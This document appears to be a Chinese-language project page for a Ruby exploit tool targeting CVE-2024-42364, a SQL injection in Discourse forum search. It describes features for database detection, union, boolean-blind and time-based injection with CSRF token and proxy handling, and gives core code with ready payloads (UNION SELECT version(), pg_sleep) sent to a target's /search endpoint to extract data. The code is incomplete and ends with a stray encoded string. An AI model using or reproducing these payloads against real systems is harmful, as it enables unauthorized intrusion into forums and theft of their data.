Discourse搜索参数高危SQL注入漏洞利用工具 (CVE-2024-42364)

0 阅读3分钟

CVE-2024-42364: Discourse SQL注入漏洞利用工具

本项目提供了一个针对 Discourse 论坛系统搜索功能中严重SQL注入漏洞(CVE-2024-42364)的Ruby利用工具。该漏洞允许攻击者通过精心构造的搜索参数执行任意SQL查询,从而窃取敏感数据。

功能特性

  • 数据库类型自动检测:自动识别后端数据库类型(PostgreSQL等)
  • 基础SQL注入测试:快速验证是否存在注入点
  • 联合查询注入:支持Union-based SQL注入,可提取多列数据
  • 布尔盲注:通过页面响应差异逐字节提取数据
  • 时间盲注:通过数据库延时响应判断注入条件
  • CSRF令牌处理:自动获取并携带会话Cookies和令牌
  • 代理支持:支持通过HTTP代理进行测试流量转发

安装指南

系统要求

  • Ruby 2.5+
  • 网络访问目标Discourse实例

依赖安装

本工具需要以下Ruby库:

gem install net-http uri json openssl base64 nokogiri digest

或直接使用Bundler(推荐):

# Gemfile
source 'https://rubygems.org'
gem 'nokogiri'

从源码运行

git clone https://github.com/your-repo/CVE-2024-42364.git
cd CVE-2024-42364
ruby exploit.rb

使用说明

基础用法

# 初始化利用对象
target = "https://target-discourse.example.com"
exploit = CVE_2024_42364.new(target)

# 执行完整漏洞利用流程
exploit.run_exploit

带代理的用法

options = {
  timeout: 30,
  proxy: 'http://127.0.0.1:8080',
  user_agent: 'Custom User Agent/1.0'
}
exploit = CVE_2024_42364.new(target, options)
exploit.run_exploit

典型测试流程

工具执行以下步骤:

  1. 获取CSRF令牌:访问目标获取必要的CSRF令牌和会话Cookie
  2. 检测数据库类型:通过注入判断后端数据库版本和类型
  3. 基础注入测试:验证是否存在SQL注入漏洞
  4. 联合查询注入:尝试提取数据库表结构和数据
  5. 布尔盲注:当页面无显式输出时使用
  6. 时间盲注:绕过更严格的WAF或过滤

输出结果示例

{
  "cve": "CVE-2024-42364",
  "vulnerable": true,
  "severity": "Critical",
  "cvss": 9.3,
  "details": ["Union-based injection confirmed", "Database: PostgreSQL 13.2"],
  "payloads": ["' OR '1'='1", "1' UNION SELECT version()--"],
  "extracted_data": ["PostgreSQL 13.2 on x86_64-pc-linux-gnu"]
}

核心代码

漏洞利用类初始化

class CVE_2024_42364
  def initialize(target_url, options = {})
    @target_url = target_url.chomp('/')
    @timeout = options[:timeout] || 20
    @proxy = options[:proxy]
    @user_agent = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
    @csrf_token = nil
    @session_cookies = {}
    @database_type = nil
    @results = {
      cve: 'CVE-2024-42364',
      vulnerable: false,
      severity: 'Critical',
      cvss: 9.3,
      details: [],
      payloads: [],
      sqli_evidence: [],
      extracted_data: [],
      database_info: {}
    }
  end
end

数据库类型检测

def detect_database_type
  # 通过版本函数检测PostgreSQL
  payloads = {
    postgresql: "1' UNION SELECT version()--",
    mysql: "1' UNION SELECT @@version--",
    mssql: "1' UNION SELECT @@version--"
  }
  
  payloads.each do |db_type, payload|
    response = send_sqli_payload(payload)
    if response.body.include?('PostgreSQL')
      @database_type = :postgresql
      @results[:database_info][:type] = 'PostgreSQL'
      puts "[+] Detected database: PostgreSQL"
      break
    end
  end
end

时间盲注检测

def test_time_based_sqli
  # PostgreSQL时间盲注payload
  payload = "1' OR CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END--"
  
  start_time = Time.now
  response = send_sqli_payload(payload)
  elapsed = Time.now - start_time
  
  if elapsed >= 5
    @results[:vulnerable] = true
    @results[:sqli_evidence] << "Time-based injection confirmed (delay: #{elapsed}s)"
    puts "[+] Time-based SQL injection confirmed!"
  else
    puts "[-] Time-based injection not detected"
  end
end

请求发送核心方法

def send_sqli_payload(payload)
  uri = URI.parse("#{@target_url}/search")
  params = {
    q: payload,
    page: 1
  }
  uri.query = URI.encode_www_form(params)
  
  http = Net::HTTP.new(uri.host, uri.port)
  http.use_ssl = (uri.scheme == 'https')
  http.open_timeout = @timeout
  http.read_timeout = @timeout
  
  request = Net::HTTP::Get.new(uri)
  request['User-Agent'] = @user_agent
  request['Cookie'] = @session_cookies.map { |k,v| "#{k}=#{v}" }.join('; ')
  request['X-CSRF-Token'] = @csrf_token if @csrf_token
  
  response = http.request(request)
  response
end

6HFtX5dABrKlqXeO5PUv/yZWZ+8fEawPrw2MbkxVPI4=